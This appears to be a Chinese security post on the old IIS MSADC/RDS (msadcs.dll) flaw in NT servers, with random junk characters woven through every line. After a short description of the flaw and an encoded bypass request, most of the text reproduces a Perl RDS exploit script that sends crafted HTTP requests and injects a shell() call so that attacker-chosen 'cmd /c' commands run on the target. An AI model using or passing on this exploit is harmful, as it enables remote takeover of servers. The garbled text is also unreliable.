IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
VfcIR( \l59/ZFan 涉及程序:
QF>T)1&J[7 Microsoft NT server
8qyEHUN2q UMGiJO\yH 描述:
7zG
r+Px 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]*=4>(F[ gA2Wo+\^bq 详细:
yqx5_} 如果你没有时间读详细内容的话,就删除:
pQiC#4b c:\Program Files\Common Files\System\Msadc\msadcs.dll
]DNPG" 有关的安全问题就没有了。
]}v]j`9m% bIU.C|h@ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
p[Po*c.b y#GHmHeh 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Cy;UyZ 关于利用ODBC远程漏洞的描述,请参看:
q}LDFsU i\sBey ND" http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >bW=oTFz T-] {gc 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
?Lg(,-: http://www.microsoft.com/security/bulletins/MS99-025faq.asp KwL_ae6fV d/; tq 这里不再论述。
cw<IL *z~,|DQ(A 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Cab.a)o t7]j6>MK3q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
F rckA 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
<X)\P}"L4 /*#o1W?wQZ '9}&@;-_ #将下面这段保存为txt文件,然后: "perl -x 文件名"
`\UY5n72 &e^;;<*w #!perl
zZ%[SW&vC #
&aRL}#U # MSADC/RDS 'usage' (aka exploit) script
0ID9=:J #
yT7$6x # by rain.forest.puppy
'I$FOH #
N68mvBe # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
2VN].t: # beta test and find errors!
hZJ~zx~ ray3gM%JLj use Socket; use Getopt::Std;
G[k3` getopts("e:vd:h:XR", \%args);
yNI0Do
2 hY&Yp^"}]^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
P(shbi@ VVeJe"!t if (!defined $args{h} && !defined $args{R}) {
z.8/[) print qq~
TE
Z%|5(] Usage: msadc.pl -h <host> { -d <delay> -X -v }
s47R,K$ -h <host> = host you want to scan (ip or domain)
wKM9fs -d <seconds> = delay between calls, default 1 second
>Z!!` 0{ -X = dump Index Server path table, if available
P73GH -v = verbose
/QQRy_Z1) -e = external dictionary file for step 5
/PwiZA3sA a}yb~:TC Or a -R will resume a command session
16L YVvmW O(-p
md, ~; exit;}
IhNX~Jg'^ 5MnP6(3$ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-.h)CM@L if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
vD#U+ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^\ [p6> if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
l eC!Yj $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
R/~!km if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1$0Kvvg[
vfkF@^D if (!defined $args{R}){ $ret = &has_msadc;
x9 > ho die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
GB$`b'x@S F!X0Wo= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
@;4;72@O . "cmd /c ";
s;vt2>;q+e $in=<STDIN>; chomp $in;
Ih.+-!w $command="cmd /c " . $in ;
AX v
q~XE jSp&\Wj b if (defined $args{R}) {&load; exit;}
Qf~>5(,h V}s/knd print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_.JQ h &try_btcustmr;
:BPgDLL, kPX+n+$ print "\nStep 2: Trying to make our own DSN...";
(%B{=w}8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`H! (hMMV
^{}G4BEY print "\nStep 3: Trying known DSNs...";
NTu|cX\R &known_dsn;
)gdeFA V .aNh>`OT' print "\nStep 4: Trying known .mdbs...";
>kQp@r\nQ &known_mdb;
F=qILwd #Pg#\v|7#> if (defined $args{e}){
rCw4a?YS print "\nStep 5: Trying dictionary of DSN names...";
6BV 6<PHJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
g4ZUh@b~ FsED9+/m print "Sorry Charley...maybe next time?\n";
!/p|~K exit;
0Q{lyu }h^
fX ##############################################################################
Ic0Sb7c /GgID!8 sub sendraw { # ripped and modded from whisker
D)-LZbPa sleep($delay); # it's a DoS on the server! At least on mine...
Jt[ug26 my ($pstr)=@_;
76w[X=Fv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
)h]+cGM die("Socket problems\n");
7z;2J;u`n if(connect(S,pack "SnA4x8",2,80,$target)){
k{+cFG\C& select(S); $|=1;
q9vND[BQ print $pstr; my @in=<S>;
4FaO+Eo,8 select(STDOUT); close(S);
Jq0sZ0j return @in;
RW&o3_Ua } else { die("Can't connect...\n"); }}
+^BThrB x"z\d,O%W ##############################################################################
wH|%3@eJ R[m-jUL sub make_header { # make the HTTP request
s&E,$|80 my $msadc=<<EOT
}uIQ@f` POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
?2"g*Bak User-Agent: ACTIVEDATA
8xlj,}QO\ Host: $ip
5ngs1ZF@ Content-Length: $clen
.eN"s' Connection: Keep-Alive
AZ!/{1 Az AW r2Bv ADCClientVersion:01.06
gfggL&t( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
w%\
n XJ _#K|g#p5 --!ADM!ROX!YOUR!WORLD!
.!4'Y} Content-Type: application/x-varg
hF-QbO Content-Length: $reqlen
KiXfR\S~C 4 ?BQ&d EOT
h{)m}"n<R ; $msadc=~s/\n/\r\n/g;
e`0C0GaP return $msadc;}
XNa{_3v q?LOtN? o ##############################################################################
1`?o#w b]u=Iza sub make_req { # make the RDS request
r%;|gIky my ($switch, $p1, $p2)=@_;
M5VW1Ns my $req=""; my $t1, $t2, $query, $dsn;
^KbR@Ah Vs"b
if ($switch==1){ # this is the btcustmr.mdb query
9Z-2MF $query="Select * from Customers where City=" . make_shell();
|.9PwD8~VD $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%X_A# 9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'
wl}) nT|WJ% elsif ($switch==2){ # this is general make table query
a~yiLq $query="create table AZZ (B int, C varchar(10))";
Kz;Ar&^`N $dsn="$p1";}
jsAx;Z:QT QDxs+<# elsif ($switch==3){ # this is general exploit table query
N #v[YO`. $query="select * from AZZ where C=" . make_shell();
(*A@V%H $dsn="$p1";}
1HO;~NJ]m cWQJ9.:7 elsif ($switch==4){ # attempt to hork file info from index server
@|(cr: (=H $query="select path from scope()";
{e&fB